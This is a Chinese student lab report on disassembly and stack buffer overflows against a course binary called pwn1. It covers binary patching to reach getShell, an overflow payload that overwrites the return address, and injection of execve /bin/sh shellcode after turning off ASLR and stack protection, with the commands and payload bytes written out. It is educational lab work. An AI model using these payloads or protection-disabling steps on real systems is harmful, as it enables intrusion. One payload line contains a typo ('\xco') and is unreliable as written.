20232821 2023-2024-2 《网络攻防实践》实践9报告
一、实践内容
(一)反汇编的定义
将机器码(二进制代码)转换回人类可读的汇编语言代码的过程。在计算机系统中,程序通常以汇编语言或高级语言的形式编写,然后经过汇编器(Assembler)转换成机器码,最终由计算机执行。反汇编则是将这些机器码再次转换回汇编语言,以便程序员理解和分析程序的行为。
(二)反汇编的过程
- 获取机器码:首先需要获取需要反汇编的程序的机器码,可以是一个可执行文件、动态链接库、或者内存中的某段二进制代码。
- 解析机器码:对机器码进行解析,将其转换成可读的指令序列。这一步通常需要借助反汇编器(Disassembler)工具或软件来完成,这些工具能够识别出机器码中的指令,并将其转换成相应的汇编语言形式。
- 生成汇编代码:根据解析出的指令序列,生成对应的汇编代码。汇编代码是一种人类可读的低级语言,它与机器码具有一一对应的关系,但更易于理解和分析。
(三)缓冲区溢出攻击
缓冲区溢出攻击(Buffer Overflow Attack)是一种常见的安全漏洞攻击方式,也被简称为BOF攻击。在计算机安全领域中,缓冲区溢出攻击是指攻击者利用程序中的缓冲区溢出漏洞,向程序输入超出缓冲区容量的数据,从而覆盖程序的内存空间,进而执行恶意代码或者控制程序流程。
缓冲区溢出攻击通常发生在程序设计中没有对输入数据进行充分验证和边界检查的情况下。攻击者可以利用这个漏洞,输入超长的数据,将恶意代码注入到程序的内存中,然后通过控制程序指令流的方式来执行恶意操作,比如执行系统命令、获取敏感信息等。
(四)bof攻击的防范:
- 输入验证:对于接收用户输入的程序,应该进行严格的输入验证,确保输入数据的合法性和有效性。可以限制输入数据的长度,过滤特殊字符,并对输入数据进行格式检查,以防止恶意输入导致的溢出攻击。
- 使用安全函数:在编写程序时应尽量使用安全的字符串处理函数,如strncpy()、snprintf()等,避免使用不安全的函数如strcpy()、sprintf()等,这些函数不会检查目标缓冲区的长度,容易导致缓冲区溢出。
- 内存保护技术:操作系统和编程语言通常提供了一些内存保护技术,如栈保护、堆保护等,可以有效防止缓冲区溢出攻击。例如,可以使用栈保护技术(如栈随机化)随机化栈的地址,使得攻击者难以预测溢出点的位置。
- 编译器选项:在编译程序时,可以开启编译器的一些安全选项,如启用栈保护、禁用危险的函数等。例如,在GCC编译器中可以使用-fstack-protector选项启用栈保护。
- 代码审查:进行代码审查是发现和修复缓冲区溢出漏洞的重要手段。通过仔细审查程序代码,发现潜在的安全漏洞,并及时修复,可以有效提高程序的安全性。
- 最小权限原则:对于网络服务等需要处理外部输入的程序,应尽量以最小的权限运行,减少攻击者利用漏洞后获取的权限。同时,定期更新系统和软件补丁,及时修补已知的安全漏洞。
实践目标:
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实践内容:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
二、实践过程
kali虚拟机,输入hostname wxw,更改主机名;
然后将学习通下载的文件pwn1并解压缩;
将pwn1文件存于Desktop,并在该目录下打开终端;
输入命令:cp pwn1 pwn20232821,对pwn1文件进行保护,防止破坏,并且得到pwn学号文件。
实践1:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
输入objdump -d pwn20232821 | more命令反汇编文件:
输入/getShell,快速锁定到getShell、foo和main函数;
在main函数第4行调用8048491为foo函数的入口地址,对应指令为:e8 d7 ff ff ff,e8表示指令id,后面四个字面是要跳动的指令id,是补码形式。我们要修改可执行文件使执行call后指向804847d,也就是将call指令的目标地址由d7 ff ff ff变为c3 ff ff ff,即getShell函数入口(0x804847d - 0x080484ba= 0xff ff ff c3):
输入vi pwn20232821对文件进行修改,显示是源代码格式:
按esc键,输入:%!xxd将其变为16进制,定位到如图位置:
将d7将其改为c3
按esc键,输入:%!xxd -r还原为原格式后,输入:wq保存退出。
再次输入指令"objdump -d pwn20232821 | more"查看反编译结果。可以看出已经调用了"getShell"函数。修改成功:
运行,验证通过:
实践2:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
创建一个pwn20232821-2用于实践:
输入 objdump -d pwn20232821-2| more查看foo函数;
foo函数的功能:调用gets读进用户输入的字符串然后用puts函数将字符串输出,但并未检查输入的范围易存在缓冲区溢出,有BOF漏洞。仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出:
在root权限输入apt install gdb,安装gdb;
输出 gdb pwn20232821-2对文件进行调试,再输入r运行:
输入字符串,进行缓冲区溢出攻击。从图中可以看出显示出现缓冲区溢出错误:
输入info r,发现eip中内容覆盖为0x31323930(“x”的ASCLL码的十六进制为78)。继续尝试发现当输入字符串过长时,第33~36个字节将会覆盖EIP的内容;
即通过查看eip的值发现0921这四个数最终会覆盖到堆栈上的返回地址;
所以只需把这四个字符替换为getShell的内存地址即可;
输给pwn20232821-2就会运行getShell。
构造输入字符串:
通过实践1的反汇编可知getShell的内存地址为0804847d,替换为\x7d\x84\x04\x08即可修改返回地址,调用getShell函数。由于我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入perl -e ‘print “wwwwwwwwxxxxxxxxwwwwwwww10011001\x7d\x84\x04\x08\x0a”’ > 20232821。将其生成十六进制字符串文件20232821文件,作为对pwn20232821-2文件的输入,用16进制查看指令xxd 20232821查看文件的内容是否如预期:
输入命令(cat 20232821; cat) | ./pwn20232821-2,即将20232821的输入,通过管道符’|',作为pwn20232821-2的输入:
实践3:注入一个自己制作的shellcode并运行这段shellcode
root模式下输入apt-get install execstack对execstack进行安装:
输入以下命令:
cp pwn1 pwn20232821-3//复制一个文件命名为pwn20232821-3作为实践3的文件;
execstack -s pwn20232821-3 //设置堆栈可执行
execstack -q pwn20232821-3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space//查看地址随机化的状态是否关闭,2表示地址随机化保护是开启的
echo "0"> /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space//再次查看地址随机化的状态,0则是关闭
同理实践2,构造要注入的字符串地址,并开始注入攻击:
输入以下命令:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
//参考其他博客提前准备的一段shellcode,构造用十六进制表示的37个字节的输入文件,其中第33~36个字节即\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置
(cat input_shellcode;cat) | ./pwn20232821-3//运行pwn20232821-3
重开一个终端,进入root权限,使用ps -ef | grep pwn20232821-3找到对应的进程号为29801:
输入以下命令:
gdb pwn20232821-3//打开gdb对pwn20232821-3进行调试
attach 29801//找到对应的进程
disassemble foo//对foo函数进行反汇编,找到应该放置断点的位置,即断点应该放到ret之前
break *0x080484ae//设置断点
设置完毕,在之前运行的终端中按下回车继续执行程序。同时这个终端在gdb中输入指令"c",继续执行。
程序中断,输入指info r esp,查看栈顶指针所在的位置,并查看改地址存放的数据为0xffffd3bc:
输入 x/16x 0xffffd3bc,查看存放内容。其中的0x01020304,就是返回地址的位置:
根据input_shellcode可知,shellcode就在其后(+4),所以retaddr地址应为0xffffd3bc + 0x00000004 = 0xffffd3c0。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
这里采取第一种
这样一来\x1\x2\x3\x4就应该修改为\x30\xd0\xff\xff,并在最后加上回车(x0a),然后重新运行程序。
所以输入:
perl -e 'print "A" x 32;print "\xco\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn20232821-3
三、学习中遇到的问题及解决
- 问题1:在实践1,源码转为16进制时报错command not found xxd 。
- 问题1解决方案:安装xxd才能使用xxd 。输入命令:sudo apt install xxd 。
- 问题2:实践1结束后退不出来。
- 问题2解决方案:exit提出。
- 问题3:安装execstack命令,显示Unable to locate package execstack,安装失败。
- 问题3解决方案:https://blog.csdn.net/weixin_43729943/article/details/104221462
4.实践总结
在反汇编的实践中,我深刻体会到了机器码与高级语言之间的紧密联系。通过手工修改可执行文件,我学会了如何直接控制程序流程,跳转到自定义的getShell函数。利用foo函数的Bof漏洞,我成功构造了攻击字符串,理解了缓冲区溢出的危害